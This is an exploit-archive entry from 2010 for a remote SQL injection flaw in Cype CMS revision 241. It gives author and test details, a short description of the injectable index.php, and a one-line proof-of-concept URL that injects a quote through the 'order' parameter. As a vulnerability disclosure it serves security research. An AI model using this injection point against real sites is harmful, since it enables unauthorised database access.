Cype CMS SQL Injection Vulnerability

[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]

# Title : Cype CMS SQL Injection Vulnerability
# Published : 2010-01-01
# Author : Sora
# Previous Title : ArticleLive (blogs.php?Id) SQL Injection Vulnerability
# Next Title : DS CMS 1.0 (NewsId) Remote SQL Injection Vulnerability

# Exploit Title: Cype Content Management System Remote SQL Injection Exploit
# Date: January 1st, 2010
# Author: Sora
# Version: Revision 241
# Tested on: Linux (Backtrack 3)

-----------------------------------------

> Cype CMS Remote SQL Injection Exploit
> Author: Sora
> Contact: vhr95zw [at] hotmail [dot] com
> Website: http://greyhathackers.wordpress.com/
> Google Dork: In your dreams, script kiddies.

# Exploit Description:
Cype CMS suffers a remote SQL injection vulnerability in index.php.

# Code/Proof of Concept (PoC):
http://server/index.php?cype=main&page=ranking&order='&job=500